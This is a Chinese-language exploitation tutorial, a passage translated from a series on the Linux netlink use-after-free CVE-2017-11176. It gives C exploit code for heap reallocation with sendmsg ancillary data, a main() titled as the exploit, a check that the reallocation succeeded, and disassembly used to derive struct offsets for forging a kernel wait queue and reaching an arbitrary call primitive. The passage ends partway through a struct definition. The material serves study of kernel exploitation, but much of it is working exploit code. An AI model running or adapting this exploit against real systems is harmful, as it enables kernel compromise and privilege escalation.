AF_UNIX见 https://www.cnblogs.com/shangerzhong/p/9153737.html
sockaddr_un见 https://blog.csdn.net/gladyoucame/article/details/8768731
struct realloc_thread_arg
{
pthread_t tid;
int recv_fd;
int send_fd;
struct sockaddr_un addr; //本地进程间通信的一种套接字
};
static int init_unix_sockets(struct realloc_thread_arg * rta)
{
struct timeval tv;
static int sock_counter = 0;
if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||
((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))
{
perror("[-] socket");
goto fail;
}
// bind an "abstract" socket (first byte is NULL)
memset(&rta->addr, 0, sizeof(rta->addr));
rta->addr.sun_family = AF_UNIX; //sun_family只能是AF_LOCAL或AF_UNIX
sprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter);
if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
{
perror("[-] bind");
goto fail;
}
if (_connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
{
perror("[-] connect");
goto fail;
}
// set the timeout value to MAX_SCHEDULE_TIMEOUT
memset(&tv, 0, sizeof(tv));
if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)))
{
perror("[-] setsockopt");
goto fail;
}
return 0;
fail:
// TODO: release everything
printf("[-] failed to initialize UNIX sockets!\n");
return -1;
}
ps:sockaddr_un,见https://blog.csdn.net/gladyoucame/article/details/8768731
一旦开始,再分配线程准备通过用MSG_DONTWAIT 填充接收缓存区来阻塞发送缓冲区,然后锁定直到"big GO"(再分配)
static volatile size_t g_nb_realloc_thread_ready = 0;
static volatile size_t g_realloc_now = 0;
static void* realloc_thread(void *arg)
{
struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;
struct msghdr mhdr;
char buf[200];
// initialize msghdr
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf),
};
memset(&mhdr, 0, sizeof(mhdr));
mhdr.msg_iov = &iov;
mhdr.msg_iovlen = 1;
// the thread should inherit main thread cpumask, better be sure and redo-it!
if (migrate_to_cpu0())
goto fail;
// make it block
while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0)
;
if (errno != EAGAIN)
{
perror("[-] sendmsg");
goto fail;
}
// use the arbitrary data now
iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue
mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer
mhdr.msg_controllen = sizeof(g_realloc_data);
g_nb_realloc_thread_ready++;
while (!g_realloc_now) // spinlock until the big GO!
;
// the next call should block while "reallocating"
if (_sendmsg(rta->send_fd, &mhdr, 0) < 0)
{
perror("[-] sendmsg");
goto fail;
}
return NULL;
fail:
printf("[-] REALLOC THREAD FAILURE!!!\n");
return NULL;
}
再分配线程将会通过g_realloc_now进行自旋锁,直到主线程告诉他们去开始用realloc_NOW() 再分配(让他内联化很重要,减少消耗的时间):
// keep this inlined, we can't loose any time (critical path)
static inline __attribute__((always_inline)) void realloc_NOW(void)
{
g_realloc_now = 1;
_sched_yield(); // don't run me, run the reallocator threads!
sleep(5);
}
系统调用sched_yield()强制主线程被抢占。幸运的是,下一个预定的线程将会是我们再分配线程中的一个,由此赢得再分配比赛。
最后,main()变成:
int main(void)
{
int sock_fd = -1;
int sock_fd2 = -1;
int unblock_fd = 1;
struct realloc_thread_arg rta[NB_REALLOC_THREADS];
printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");
if (migrate_to_cpu0())
{
printf("[-] failed to migrate to CPU#0\n");
goto fail;
}
printf("[+] successfully migrated to CPU#0\n");
memset(rta, 0, sizeof(rta));
if (init_reallocation(rta, NB_REALLOC_THREADS))
{
printf("[-] failed to initialize reallocation!\n");
goto fail;
}
printf("[+] reallocation ready!\n");
if ((sock_fd = prepare_blocking_socket()) < 0)
goto fail;
printf("[+] netlink socket created = %d\n", sock_fd);
if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
{
perror("[-] dup");
goto fail;
}
printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);
// trigger the bug twice AND immediatly realloc!
if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
decrease_sock_refcounter(sock_fd2, unblock_fd))
{
goto fail;
}
realloc_NOW();
printf("[ ] ready to crash?\n");
PRESS_KEY();
close(unblock_fd);
printf("[ ] are we still alive ?\n");
PRESS_KEY();
// TODO: exploit
return 0;
fail:
printf("[-] exploit failed!\n");
PRESS_KEY();
return -1;
}
你可以现在跑这个exp,但是你不会看到任何效果。我们仍然再net_release()期间crash。我们将会修复这个在下一节。
“Where there is a will, there is way…”
在之前的节中,我们:
1.解释了再分配和类型混淆的基础
2.收集我们自己的UAF信息和识别悬空指针
3.明白我们可以任意的触发和控制UAF
4.实行在分配
是时候去把所有的混合在一起然后利用UAF。牢记一点:
最后的目标是去控制内核的执行流程。
申明支配内核实际的流程?像其他问题一样,指针:RIP(amd64),PC(arm)。
就像我们在核心内容中看到的一样,内核有很多VFT(虚函数表)和函数指针去实现一些泛型。重写和调用他们去控制执行流程即我们将会在这儿做什么。
让我们回到我们的UAF原语。在一个之前的节,我们看到我们可以控制(和触发)UAF通过调用close(unblock_fd)。另外,我们看到struct socket中的sk字段时一个悬空指针。两者之间的关系时VFTs:
struct file_operations socket_file_ops:系统调用close()到sock_close()。
struct proto_ops netlink_ops:sock_close() 到 netlink_release() (大量使用sk)
这些VFT是我们的primitive gates(基本单元?):每一个简单的UAF都是从这些函数指针中的一个开始的。
无论怎样,我们不能精确的控制这些指针。原因是free的结构体是struct netlink_sock。相反,指向VFTs的指针分别存在于struct file和struct socket。我们将会利用VFT提供的原始的功能。
举个例子,让我们看一下netlink_getname()(来自netlink_ops),它可以被很直接的调用追踪访问到。
- SYSCALL_DEFINE3(getsockname, ...) // calls sock->ops->getname()
- netlink_getname()
static int netlink_getname(struct socket *sock, struct sockaddr *addr,
int *addr_len, int peer)
{
struct sock *sk = sock->sk; // <----- DANGLING POINTER
struct netlink_sock *nlk = nlk_sk(sk); // <----- DANGLING POINTER
struct sockaddr_nl *nladdr = (struct sockaddr_nl *)addr; // <----- will be transmitted to userland
nladdr->nl_family = AF_NETLINK;
nladdr->nl_pad = 0;
*addr_len = sizeof(*nladdr);
if (peer) { // <----- set to zero by getsockname() syscall
nladdr->nl_pid = nlk->dst_pid;
nladdr->nl_groups = netlink_group_mask(nlk->dst_group);
} else {
nladdr->nl_pid = nlk->pid; // <----- uncontrolled read primitive
nladdr->nl_groups = nlk->groups ? nlk->groups[0] : 0; // <----- uncontrolled read primitive
}
return 0;
}
当然,这是一个很好的不受控制的阅读原语(两个读,没有副作用)。我们将会使用他去改善exp的可靠性为了去检查再分配成功。
让我们开始使用先前的原语和检查是否再分配成功!我们怎么做这个?这儿是我们的计划:
如果返回地址匹配我们的特殊值,那就意味着再分配起作用,我们有攻击我们的第一个UAF原语(无法控制的读)。你不是总有机会验证再分配是否有效。
为了找到nlk->pid和nlk->groups的偏移,我们首先需要去得到未压缩的二进制文件流。如果你不知道怎么去做,查看这个链接(https://blog.packagecloud.io/eng/2016/03/08/how-to-extract-and-disassmble-a-linux-kernel-image-vmlinuz/)你也应该打开“/boot/System.map-$(uname -r)”文件。如果(由于任何原因)你没有访问这个文件,你可以尝试“/proc/kallsyms”,这个会给你一些结果(需要root权限)。
好了,我们准备好去分解我们的内核了。linux内核本质上就是一个ELF二进制文件。因此你可以用优秀的二进制工具,像objdump。
为了去发现nlk->pid 和 nlk->groups的偏移当他们被使用在netlink_getname()函数上的时候。让我们拆解他!首先用System.map文件找出netlink_getname()的地址:
$ grep "netlink_getname" System.map-2.6.32
ffffffff814b6ea0 t netlink_getname
在我们的例子中,netlink_getname()函数将会被加载到地址0xffffffff814b6ea0
NOTE:我们假设KASLR没有开启。
下一步,用一个反汇编工具打开vmlinux(不是vmlinuZ),然后分析 netlink_getname()函数。
ffffffff814b6ea0: 55 push rbp
ffffffff814b6ea1: 48 89 e5 mov rbp,rsp
ffffffff814b6ea4: e8 97 3f b5 ff call 0xffffffff8100ae40
ffffffff814b6ea9: 48 8b 47 38 mov rax,QWORD PTR [rdi+0x38]
ffffffff814b6ead: 85 c9 test ecx,ecx
ffffffff814b6eaf: 66 c7 06 10 00 mov WORD PTR [rsi],0x10
ffffffff814b6eb4: 66 c7 46 02 00 00 mov WORD PTR [rsi+0x2],0x0
ffffffff814b6eba: c7 02 0c 00 00 00 mov DWORD PTR [rdx],0xc
ffffffff814b6ec0: 74 26 je 0xffffffff814b6ee8
ffffffff814b6ec2: 8b 90 8c 02 00 00 mov edx,DWORD PTR [rax+0x28c]
ffffffff814b6ec8: 89 56 04 mov DWORD PTR [rsi+0x4],edx
ffffffff814b6ecb: 8b 88 90 02 00 00 mov ecx,DWORD PTR [rax+0x290]
ffffffff814b6ed1: 31 c0 xor eax,eax
ffffffff814b6ed3: 85 c9 test ecx,ecx
ffffffff814b6ed5: 74 07 je 0xffffffff814b6ede
ffffffff814b6ed7: 83 e9 01 sub ecx,0x1
ffffffff814b6eda: b0 01 mov al,0x1
ffffffff814b6edc: d3 e0 shl eax,cl
ffffffff814b6ede: 89 46 08 mov DWORD PTR [rsi+0x8],eax
ffffffff814b6ee1: 31 c0 xor eax,eax
ffffffff814b6ee3: c9 leave
ffffffff814b6ee4: c3 ret
ffffffff814b6ee5: 0f 1f 00 nop DWORD PTR [rax]
ffffffff814b6ee8: 8b 90 88 02 00 00 mov edx,DWORD PTR [rax+0x288]
ffffffff814b6eee: 89 56 04 mov DWORD PTR [rsi+0x4],edx
ffffffff814b6ef1: 48 8b 90 a0 02 00 00 mov rdx,QWORD PTR [rax+0x2a0]
ffffffff814b6ef8: 31 c0 xor eax,eax
ffffffff814b6efa: 48 85 d2 test rdx,rdx
ffffffff814b6efd: 74 df je 0xffffffff814b6ede
ffffffff814b6eff: 8b 02 mov eax,DWORD PTR [rdx]
ffffffff814b6f01: 89 46 08 mov DWORD PTR [rsi+0x8],eax
ffffffff814b6f04: 31 c0 xor eax,eax
ffffffff814b6f06: c9 leave
ffffffff814b6f07: c3 ret
让我们把程序集合拆分成更小块来匹配我们的原始netlink_getname()函数(注意System V ABI)。最重要的事情去记住是参数传递顺序(我们仅仅有4个参数,在这儿)。
让我们继续走,首先我们有开场,0xffffffff8100ae40的调用时空。(在反汇编中查看)
ffffffff814b6ea0: 55 push rbp
ffffffff814b6ea1: 48 89 e5 mov rbp,rsp
ffffffff814b6ea4: e8 97 3f b5 ff call 0xffffffff8100ae40 // <---- NOP
下一步,我们有公共部分netlink_getname(),在ASM:
ffffffff814b6ea9: 48 8b 47 38 mov rax,QWORD PTR [rdi+0x38] // retrieve "sk"
ffffffff814b6ead: 85 c9 test ecx,ecx // test "peer" value
ffffffff814b6eaf: 66 c7 06 10 00 mov WORD PTR [rsi],0x10 // set "AF_NETLINK"
ffffffff814b6eb4: 66 c7 46 02 00 00 mov WORD PTR [rsi+0x2],0x0 // set "nl_pad"
ffffffff814b6eba: c7 02 0c 00 00 00 mov DWORD PTR [rdx],0xc // sizeof(*nladdr)
代码分支由peer的值决定:
ffffffff814b6ec0: 74 26 je 0xffffffff814b6ee8 // "if (peer)"
如果peer不是0(不是我们的例子),那么这儿就都是我们可无视的代码:
ffffffff814b6ec2: 8b 90 8c 02 00 00 mov edx,DWORD PTR [rax+0x28c] // ignore
ffffffff814b6ec8: 89 56 04 mov DWORD PTR [rsi+0x4],edx // ignore
ffffffff814b6ecb: 8b 88 90 02 00 00 mov ecx,DWORD PTR [rax+0x290] // ignore
ffffffff814b6ed1: 31 c0 xor eax,eax // ignore
ffffffff814b6ed3: 85 c9 test ecx,ecx // ignore
ffffffff814b6ed5: 74 07 je 0xffffffff814b6ede // ignore
ffffffff814b6ed7: 83 e9 01 sub ecx,0x1 // ignore
ffffffff814b6eda: b0 01 mov al,0x1 // ignore
ffffffff814b6edc: d3 e0 shl eax,cl // ignore
ffffffff814b6ede: 89 46 08 mov DWORD PTR [rsi+0x8],eax // set "nladdr->nl_groups"
ffffffff814b6ee1: 31 c0 xor eax,eax // return code == 0
ffffffff814b6ee3: c9 leave
ffffffff814b6ee4: c3 ret
ffffffff814b6ee5: 0f 1f 00 nop DWORD PTR [rax]
剩下的小阻碍,就是下面的代码:
ffffffff814b6ee8: 8b 90 88 02 00 00 mov edx,DWORD PTR [rax+0x288] // retrieve "nlk->pid"
ffffffff814b6eee: 89 56 04 mov DWORD PTR [rsi+0x4],edx // give it to "nladdr->nl_pid"
ffffffff814b6ef1: 48 8b 90 a0 02 00 00 mov rdx,QWORD PTR [rax+0x2a0] // retrieve "nlk->groups"
ffffffff814b6ef8: 31 c0 xor eax,eax
ffffffff814b6efa: 48 85 d2 test rdx,rdx // test if "nlk->groups" it not NULL
ffffffff814b6efd: 74 df je 0xffffffff814b6ede // if so, set "nl_groups" to zero
ffffffff814b6eff: 8b 02 mov eax,DWORD PTR [rdx] // otherwise, deref first value of "nlk->groups"
ffffffff814b6f01: 89 46 08 mov DWORD PTR [rsi+0x8],eax // ...and put it into "nladdr->nl_groups"
ffffffff814b6f04: 31 c0 xor eax,eax // return code == 0
ffffffff814b6f06: c9 leave
ffffffff814b6f07: c3 ret
好了,我们有所有我们需要的事了。
nlk->pid的偏移是0x288在"struct netlink_sock"
nlk->groups的偏移是0x2a0在"struct netlink_sock"
为了去检查是否再分配成功,我们将会设置pid的值为0x11a5dcee
(任意的值)和group的值为0(否则他将会被取消引用)。让我们,设置这些值在我们的任意数据数组中(g_realloc_data)。
#define MAGIC_NL_PID 0x11a5dcee
#define MAGIC_NL_GROUPS 0x0
// target specific offset
#define NLK_PID_OFFSET 0x288
#define NLK_GROUPS_OFFSET 0x2a0
static int init_realloc_data(void)
{
struct cmsghdr *first;
int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];
void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];
memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));
// necessary to pass checks in __scm_send()
first = (struct cmsghdr*) &g_realloc_data;
first->cmsg_len = sizeof(g_realloc_data);
first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
first->cmsg_type = 1; // <---- ARBITRARY VALUE
*pid = MAGIC_NL_PID;
*groups = MAGIC_NL_GROUPS;
// TODO: do something useful will the remaining bytes (i.e. arbitrary call)
return 0;
}
再分配数据布局:
然后检查我们用getsockname()找回这些值。
static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups)
{
struct sockaddr_nl addr;
size_t addr_len = sizeof(addr);
memset(&addr, 0, sizeof(addr));
// this will invoke "netlink_getname()" (uncontrolled read)
if (_getsockname(sock_fd, &addr, &addr_len))
{
perror("[-] getsockname");
goto fail;
}
printf("[ ] addr_len = %lu\n", addr_len);
printf("[ ] addr.nl_pid = %d\n", addr.nl_pid);
printf("[ ] magic_pid = %d\n", magic_pid);
if (addr.nl_pid != magic_pid)
{
printf("[-] magic PID does not match!\n");
goto fail;
}
if (addr.nl_groups != magic_groups)
{
printf("[-] groups pointer does not match!\n");
goto fail;
}
return true;
fail:
return false;
}
最后,在main()里面调用:
int main(void)
{
// ... cut ...
realloc_NOW();
if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS))
{
printf("[-] reallocation failed!\n");
// TODO: retry the exploit
goto fail;
}
printf("[+] reallocation succeed! Have fun :-)\n");
// ... cut ...
}
现在重启exp,再分配成功,你应该可以看到信息"[+] reallocation succeed! Have fun "。如果没有,那么就是再分配失败了。你应该尝试去用重试exp来解决再分配失败(warning:这个需要的比重启exp更多)。现在,我们将会接受,我们将会crash。。。
在这节,我们开始去做我们的虚假"netlink_sock" struct中的pid的类型混淆(来自g_realloc_data)。同时,我们可以看到怎样用getsockname()触发一个无法控制的读原语,getsockname()将会在netlink_getname()的最后。现在你更熟悉UAF原语,让我们继续和完成任意调用。
好了,现在(希望)你已经明拜我们的UAF原语在哪,怎么去到达(文件和套接字相关的系统调用)。注意我们甚至没有考虑过其他悬空指针的原语:nl_table的哈希表。现在是时候去到达我们的目标:获得内核执行流的控制。
自从我们想要控制内核执行流,我们需要一个任意调用原语。综上所述,我们可以通过重写一个函数指针去完成。struct netlink_sock 由任何的函数指针(FP)?
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk; // <----- lots of (in)direct FPs
u32 pid;
u32 dst_pid;
u32 dst_group;
u32 flags;
u32 subscriptions;
u32 ngroups;
unsigned long *groups;
unsigned long state;
wait_queue_head_t wait; // <----- indirect FP
struct netlink_callback *cb; // <----- two FPs
struct mutex *cb_mutex;
struct mutex cb_def_mutex;
void (*netlink_rcv)(struct sk_buff *skb); // <----- one FP
struct module *module;
};
耶!我们有好多选择:-)。哪个是一个好的任意调用原语?一个需要:
最明显的首选解决方案是去把任意调用的值放到netlink_rcv 函数指针所在的地方。这个FP在netlink_unicast_kernel()被请求。无论如何,使用这个指针有一点复杂。尤其是,这儿大量的检查,他也会影响我们的数据结构。第二明显的选择是变成一个netlink_callback 数据结构中的函数指针。但是,这是不是一个好的调用指针,因为他很复杂,会有很多副作用而且我们需要通过很多检测。
解决方案,我们最后选择了我们的老朋友:wait queue。嗯。。。但是他没有任何的函数指针?
struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;
你是对的,但是他的组成部分有(所以叫间接的函数指针):
typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);
struct __wait_queue {
unsigned int flags;
#define WQ_FLAG_EXCLUSIVE 0x01
void *private;
wait_queue_func_t func; // <------ this one!
struct list_head task_list;
};
作为补充,我们早已经直到这个函数指针在哪里调用了(__wake_up_common()),怎么去到达他(setsockopt())。
如果你不记得怎么做,可以回到part2去看看。我们使用这个去解锁主线程。
又一次,总是由很多的方式去完成exp。我们选择这个方式是因为读者早已经熟悉等待队列,尽管他不是最好的选择。这儿可能有简单的方式但是这个最后至少成功了。此外,他家将会展示怎么去在用户空间中模仿内核数据结构(一个常见的技巧)。
在过去的节中,我们决定了在等待队列的帮助下得到一个任意调用指针。无论如何,等待队列他自己没有函数指针但是他的组成部分有。为了去到达他们,我们将会需要去在用户空间设置一些东西。他将会要求去模仿一个内核数据结构。
我们假设我们控制数据在一个 kmalloc-1024对象的偏移等待(即等待队列头)的数据。这是通过再分配后完成。
让我们回到struct netlink_sock。注意一件重要的事情,netlink_sock中嵌入着等待参数,这不是一个指针。
WARRING:特别注意(两次检查)是否一个参数是嵌入的还是指针。这是一个bug和错误的来源。让我们重写netlink_sock数据结构:
struct netlink_sock {
// ... cut ...
unsigned long *groups;
unsigned long state;
{ // <----- wait_queue_head_t wait;
spinlock_t lock;
struct list_head task_list;
}
struct netlink_callback *cb;
// ... cut ...
};
让我们进一步解释他,spinlock_t 实际上是一个无符号整数(检查定义,注意CONFIG_ preprocessor预处理配置文件)。struct list_head是一个简单的双指针结构。
struct list_head {
struct list_head *next, *prev;
};
这是:
struct netlink_sock {
// ... cut ...
unsigned long *groups;
unsigned long state;
{ // <----- wait_queue_head_t wait;
unsigned int slock; // <----- ARBITRARY DATA HERE
// <----- padded or not ? check disassembly!
struct list_head *next; // <----- ARBITRARY DATA HERE
struct list_head *prev; // <----- ARBITRARY DATA HERE
}
struct netlink_callback *cb;
// ... cut ...
};
当再分配,我们将会不得不设置一个slock,next和prev字段的特殊值。让我们再扩展所有的参数的时候想一下__wake_up_common()的调用追踪。
__wake_up_common()的调用追踪。
- SYSCALL(setsockopt)
- netlink_setsockopt(...)
- wake_up_interruptible(&nlk->wait)
- __wake_up_(&nlk->wait, TASK_INTERRUPTIBLE, 1, NULL) // <----- deref "slock"
- __wake_up_common(&nlk->wait, TASK_INTERRUPTIBLE, 1, 0, NULL)
代码是:
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
[0] wait_queue_t *curr, *next;
[1] list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
[2] unsigned flags = curr->flags;
[3] if (curr->func(curr, mode, wake_flags, key) &&
[4] (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
[5] break;
}
}
我们早就学习了这个函数,不同的是他现在操控再分配数据(而不是正常的循环等待队列参数)。他做了:
[0]申明等待队列参数指针
[1]迭代task_list的双向循环链表,设置curr和next的值
[2]遵循当前等待队列的元素curr的标志偏移量
[3]调用当前元素的函数指针func
[4]测试是否flag有WQ_FLAG_EXCLUSIVE 约束设置和是否这儿没有更多的任务需要去唤醒。
[5]如果是的话,退出。
最后的任意调用原语会在[3]触发。
NOTE:如果你不理解list_for_each_entry_safe() 宏,哪请回到双循环列表节
让我们总结一下:
即我们将会重写wait_queue_head_t中的next和prev参数(等待参数),让他指向用户态。又一次,等待队列参数curr会在用户空间。
因为他将会指向用户空间,我们会控制等待队列的参数内容,所以任意调用。无论如__wake_up_common()造成很多挑战。
首先,我们需要处理list_for_each_entry_safe()宏
#define list_for_each_entry_safe(pos, n, head, member) \
for (pos = list_first_entry(head, typeof(*pos), member), \
n = list_next_entry(pos, member); \
&pos->member != (head); \
pos = n, n = list_next_entry(n, member))
因为双向循环列表是环型的,他以为这等待列表的最后一个参数会指向列表头(&nlk->wait)。否则, list_for_each_entry()宏会不确定循环,最后有一个错误的返回参数。我们需要避免他。
幸运的,如果我们能到达中断声明,我们就可以停止循环[5],他是可到达的如果:
nr_exclusive参数被设置为1,在_wake_up_common()的调用时。即他被重新设置为0在第一次调用之后。设置WQ_FLAG_EXCLUSIVE 时很简单的,因为我们控制用户空间等待队列的参数。最后,关于任意返回值的调用函数会在part4中考虑。目前,我们将会假设我们调用一个gadget但会一个非0的值。在这个文章中,我们将仅仅调用panic(),这个函数从不返回值,而且打印一个很好的堆栈跟踪(我们可以验证exp的成功)。
下一步,因为这是 list_for_each_entry()的安全版本,这意味着第二个元素将在任意调用原语前被取消引用。
即,我们将会需要去设置恰当的值在用户空间等待队列的参数next 和prev 字段。因为我们不知道&nlk->wait的地址(假设dmesg无法访问 ),但是有办法停止循环,我们将仅仅让他指向一个假的下一个等待队列参数。
WARRING:假的下一个参数必须是可读的,不然内核会因为返回错误参数crash()(缺页中断)。
在这一节中我们看到next和prev字段的值应该是什么在再分配netlink_sock对象(指向我们用户空间等待队列)。下一步,我们看到了用户空间等待队列参数实现任意调用原语和正确的跳出list_for_each_entry_safe()的先决条件。现在是时候去实行他了。
就像我们再再分配检查做的一样,我们将需要去拆解 __wake_up_common()的代码去发现各种偏移。
首先让我们找到他的地址
$ grep "__wake_up_common" System.map-2.6.32
ffffffff810618b0 t __wake_up_common
阅读ABI, __wake_up_common()有5个参数:
ps:ABI是什么见 https://www.cnblogs.com/DragonStart/p/7524995.html
函数开始以序言开头,然后将一些数据保存在堆栈上(空一些寄存器出来)。
ffffffff810618c6: 89 75 cc mov DWORD PTR [rbp-0x34],esi // save 'mode' in the stack
ffffffff810618c9: 89 55 c8 mov DWORD PTR [rbp-0x38],edx // save 'nr_exclusive' in the stack
然后,这是list_for_each_entry_safe()宏的初始化:
ffffffff810618cc: 4c 8d 6f 08 lea r13,[rdi+0x8] // store wait list head in R13
ffffffff810618d0: 48 8b 57 08 mov rdx,QWORD PTR [rdi+0x8] // pos = list_first_entry()
ffffffff810618d4: 41 89 cf mov r15d,ecx // store "wake_flags" in R15
ffffffff810618d7: 4d 89 c6 mov r14,r8 // store "key" in R14
ffffffff810618da: 48 8d 42 e8 lea rax,[rdx-0x18] // retrieve "curr" from "task_list"
ffffffff810618de: 49 39 d5 cmp r13,rdx // test "pos != wait_head"
ffffffff810618e1: 48 8b 58 18 mov rbx,QWORD PTR [rax+0x18] // save "task_list" in RBX
ffffffff810618e5: 74 3f je 0xffffffff81061926 // jump to exit
ffffffff810618e7: 48 83 eb 18 sub rbx,0x18 // RBX: current element
ffffffff810618eb: eb 0a jmp 0xffffffff810618f7 // start looping!
ffffffff810618ed: 0f 1f 00 nop DWORD PTR [rax]
代码开始于更新curr指针(忽视整个第一次循环)然后,循环自己的核心。
ffffffff810618f0: 48 89 d8 mov rax,rbx // set "currr" in RAX
ffffffff810618f3: 48 8d 5a e8 lea rbx,[rdx-0x18] // prepare "next" element in RBX
ffffffff810618f7: 44 8b 20 mov r12d,DWORD PTR [rax] // "flags = curr->flags"
ffffffff810618fa: 4c 89 f1 mov rcx,r14 // 4th argument "key"
ffffffff810618fd: 44 89 fa mov edx,r15d // 3nd argument "wake_flags"
ffffffff81061900: 8b 75 cc mov esi,DWORD PTR [rbp-0x34] // 2nd argument "mode"
ffffffff81061903: 48 89 c7 mov rdi,rax // 1st argument "curr"
ffffffff81061906: ff 50 10 call QWORD PTR [rax+0x10] // ARBITRARY CALL PRIMITIVE
对if()的每个语句求值,来确定他是不是应该中断。
ffffffff81061909: 85 c0 test eax,eax // test "curr->func()" return code
ffffffff8106190b: 74 0c je 0xffffffff81061919 // goto next element
ffffffff8106190d: 41 83 e4 01 and r12d,0x1 // test "flags & WQ_FLAG_EXCLUSIVE"
ffffffff81061911: 74 06 je 0xffffffff81061919 // goto next element
ffffffff81061913: 83 6d c8 01 sub DWORD PTR [rbp-0x38],0x1 // decrement "nr_exclusive"
ffffffff81061917: 74 0d je 0xffffffff81061926 // "break" statement
迭代list_for_each_entry_safe(),如果成功的话返回跳转。
ffffffff81061919: 48 8d 43 18 lea rax,[rbx+0x18] // "pos = n"
ffffffff8106191d: 48 8b 53 18 mov rdx,QWORD PTR [rbx+0x18] // "n = list_next_entry()"
ffffffff81061921: 49 39 c5 cmp r13,rax // compare to wait queue head
ffffffff81061924: 75 ca jne 0xffffffff810618f0 // loop back (next element)
即,等待队列的参数偏移是:
struct __wait_queue {
unsigned int flags; // <----- offset = 0x00 (padded)
#define WQ_FLAG_EXCLUSIVE 0x01
void *private; // <----- offset = 0x08
wait_queue_func_t func; // <----- offset = 0x10
struct list_head task_list; // <----- offset = 0x18
};
作为补充,我们知道task_list参数在wait_queue_head_t中的偏移为0x18。
这是很容易预料的,但是在汇编的层面上去知道哪里执行了确切的任意代码执行调用(0xffffffff81061906)是很重要的。这将会在调试的时候很方便。作为补充,我们将在part4中强制规定各个寄存器的状态。
下一步,去发现struct netlink_sock中wait 参数的地址。我们可以在netlink_setsockopt()检索他,因为调用了wake_up_interruptible():
static int netlink_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
unsigned int val = 0;
int err;
// ... cut ...
case NETLINK_NO_ENOBUFS:
if (val) {
nlk->flags |= NETLINK_RECV_NO_ENOBUFS;
clear_bit(0, &nlk->state);
wake_up_interruptible(&nlk->wait); // <---- first arg has our offset!
} else
nlk->flags &= ~NETLINK_RECV_NO_ENOBUFS;
err = 0;
break;
// ... cut ...
}
NOTE:在先前的节中,我们知道group参数是在偏移量0x2a0。基于结构,我们能预测他的偏移应该和0x2b0很像。但是我们需要去验证他。有时候他不是很显而易见。
函数netlink_setsockopt()是比 __wake_up_common()大的。如果你没有一个像ida一样的反编译程序,可能会很难去定位函数的结束位置。无论如何,我们不需要去反编译整个程序。我们只需要定位调用wake_up_interruptible()宏,他触发了__wake_up()。让我们来找到他的调用。
$ egrep "netlink_setsockopt| __wake_up$" System.map-2.6.32
ffffffff81066560 T __wake_up
ffffffff814b8090 t netlink_setsockopt
即:
ffffffff814b81a0: 41 83 8c 24 94 02 00 or DWORD PTR [r12+0x294],0x8 // nlk->flags |= NETLINK_RECV_NO_ENOBUFFS
ffffffff814b81a7: 00 08
ffffffff814b81a9: f0 41 80 a4 24 a8 02 lock and BYTE PTR [r12+0x2a8],0xfe // clear_bit()
ffffffff814b81b0: 00 00 fe
ffffffff814b81b3: 49 8d bc 24 b0 02 00 lea rdi,[r12+0x2b0] // 1st arg = &nlk->wait
ffffffff814b81ba: 00
ffffffff814b81bb: 31 c9 xor ecx,ecx // 4th arg = NULL (key)
ffffffff814b81bd: ba 01 00 00 00 mov edx,0x1 // 3nd arg = 1 (nr_exclusive)
ffffffff814b81c2: be 01 00 00 00 mov esi,0x1 // 2nd arg = TASK_INTERRUPTIBLE
ffffffff814b81c7: e8 94 e3 ba ff call 0xffffffff81066560 // call __wake_up()
ffffffff814b81cc: 31 c0 xor eax,eax // err = 0
ffffffff814b81ce: e9 e9 fe ff ff jmp 0xffffffff814b80bc // jump to exit
我们的猜测是对的,偏移是0x2b0。
好的,如此依赖我们知道了wait 在netlink_sock 数据结构中的偏移和一个等待队列参数的布局。作为补充,我们准确的知道了任意调用原语在哪里触发(减轻调试)。让我们模仿内核数据结构,然后填充再分配数据。
用硬编码偏移量开发会很快导致exp代码不可读,模仿内核数据节后经常是好的。为了去检查我们没有做错任何事情,我们修改MAYBE_BUILD_BUG_ON 宏去创建一个static_assert 宏(编译期间的检查)。
ps:static_assert静态断言见https://www.cnblogs.com/lvdongjie/p/4489835.html
#define BUILD_BUG_ON(cond) ((void)sizeof(char[1 - 2 * !!(cond)]))
如果条件正确,他将会申明一个大小为负数的数组来触发编译错误。漂亮而且方便。模仿简单的数据结构很简单,你只需要像内核那么申明他们:
// target specific offset
#define NLK_PID_OFFSET 0x288
#define NLK_GROUPS_OFFSET 0x2a0
#define NLK_WAIT_OFFSET 0x2b0
#define WQ_HEAD_TASK_LIST_OFFSET 0x8
#define WQ_ELMT_FUNC_OFFSET 0x10
#define WQ_ELMT_TASK_LIST_OFFSET 0x18
struct list_head
{
struct list_head *next, *prev;
};
struct wait_queue_head
{
int slock;
